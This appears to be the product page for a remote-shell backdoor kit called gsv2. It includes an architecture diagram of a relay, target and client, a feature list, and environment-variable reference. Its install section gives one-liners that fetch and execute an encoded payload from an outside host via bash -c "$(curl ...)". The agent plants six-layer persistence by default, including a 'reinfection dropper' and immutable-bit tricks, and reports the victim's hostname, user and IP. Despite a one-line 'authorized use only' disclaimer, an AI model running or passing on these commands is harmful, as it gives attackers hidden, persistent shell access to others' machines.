gsv2 — reverse tunnel, terminal-first

Minimal remote-shell kit built on the hgsocket method. One agent process holds many identities, stays connected, and hands you a shell the moment your client dials in.

Install a target How it works

target@victim — zsh

architecture

#how-it-works

Three components. The relay is a dumb, blind pipe: it never sees plaintext — all traffic is end-to-end encrypted between client and target (X25519 + ChaCha20-Poly1305).

            ┌──────────────────────────────────────────────┐
            │                  RELAY                        │
            │        desaklanteng.net:8443                  │
            │   pairing-only · TLS · blind pipe · logs      │
            └───────▲──────────────────────────▲────────────┘
                    │                           │
          register  │   [01][role][len][secret] │  dial-in
                    │                           │
        ┌───────────┴─────┐           ┌─────────┴──────────┐
        │    TARGET        │           │      CLIENT        │
        │  gstarget -fg    │◄── E2E ──►│   gsclient         │
        │  spawns your     │  X25519   │   gets the shell   │
        │  login shell     │  + AEAD   │   on its terminal  │
        └─────────────────┘           └──────────────────

01 · register

The target dials the relay with a secret (auto-generated, like GS-XXXX-...) and holds the line open. One process, many secrets via creds-file.

02 · pair

Your client dials in with the same secret. The relay pairs the two sockets and gets out of the way — it is a blind pipe.

03 · session

End-to-end encrypted channel. Target spawns the user's real login shell (fish/zsh/bash, home dir, TERM). You type; it executes.

04 · reconnect

Client leaves? Session ends, process stays alive, reconnects to the relay every few seconds. Next client can dial in again at any time.

capabilities

#features

Everything an operator needs, nothing it doesn't.

▸Continuous agent

-fg keeps the target connected forever. Disconnects don't kill it; it re-dials and waits for the next session.

▸Multi-account, one process

-creds-file / CREDS_EXTRA: a single process registers many secret:pass identities. Different clients, different secrets, same agent.

▸E2E encrypted

X25519 key exchange + ChaCha20-Poly1305 AEAD between client and target. The relay is a blind pipe and never sees plaintext.

▸Real login shell

Spawns the user's actual shell in $HOME with TERM set — prompt, aliases, colors and all.

▸Clean terminal

OSC/DCS/VTE queries answered locally; VTE announcements stripped. No garbage in your terminal, no double echo.

▸Host telemetry

Target reports hostname, kernel, user, public IP to the relay on connect — visible in JSONL access log + roster + optional Telegram ping.

▸Structured logging

Relay writes JSONL: auth_failed, host_seen, session_ended (with duration). Roster persists to disk.

▸Dual transport

TLS (self-signed, pin the relay's ed25519 identity via -pin) or plain TCP for lab networks.

deploy

#install

One-liners, hgsocket-style. No dependencies on the target beyond curl/wget and a shell. The /y payload is gzip+base64 encoded on the wire.

▸TARGET — install agent (zero env vars needed)

# auto-generates secret + password, persists, connects
bash -c "$(curl -fsSL https://desaklanteng.net/y)"

▸TARGET — explicit identity + extra accounts

# S/SESS_PASS set the primary identity; CREDS_EXTRA adds more
S=GS-MY-SECRET-0001 SESS_PASS=hunter2 \
CREDS_EXTRA="GS-ACCT-0002:pwB
GS-ACCT-0003:pwC" \
  bash -c "$(curl -fsSL https://desaklanteng.net/y)"

▸CLIENT — one-liner, pulls gsclient from /cache

# /connect is NON-INSTALL: it only downloads gsclient and opens a session.
S=GS-MY-SECRET-0001 SESS_PASS=hunter2 \
  bash -c "$(curl -fsSL https://desaklanteng.net/connect)"

# omit SESS_PASS -> you are prompted for the password interactively
S=GS-MY-SECRET-0001 \
  bash -c "$(curl -fsSL https://desaklanteng.net/connect)"

Authorized use only. This is a remote-shell tool with optional 6-layer persistence (PERSIST=1 by default: systemd, cron watchdog, profile hooks, immutable bit, backup copies, reinfection dropper). Deploy it only on systems you own or are explicitly authorized to test.

reference

#usage

Environment variables for the /y installer.

# installer env vars (all optional)
S              primary secret            (auto: GS-uuid)
SESS_PASS       password for secret      (auto: random; prompt if empty)
CREDS_EXTRA     extra "secret:pass" lines (multi-account)
RELAY_HOST      relay host               (auto: from BASE)
RELAY_PORT      relay port               (default: 8443)
BASE           payload host             (default: https://desaklanteng.net)
PERSIST        6-layer persistence      (default: 1)
NOIP           skip public-IP lookup   (default: 0)
RUN_AS_SERVICE  install a user systemd unit (default: 0)

# /connect client env
S              target secret          (REQUIRED — non-install)
SESS_PASS       password               (omit to be prompted)
FORCE_DL       =1 to re-download gsclient if the cached one looks stale

▸CLIENT — explicit relay (optional)

# RELAY_HOST/RELAY_PORT default to the domain — only set to override
S=GS-MY-SECRET-0001 SESS_PASS=hunter2 \
RELAY_HOST=desaklanteng.net RELAY_PORT=8443 \
  bash -c "$(curl -fsSL https://desaklanteng.net/connect)"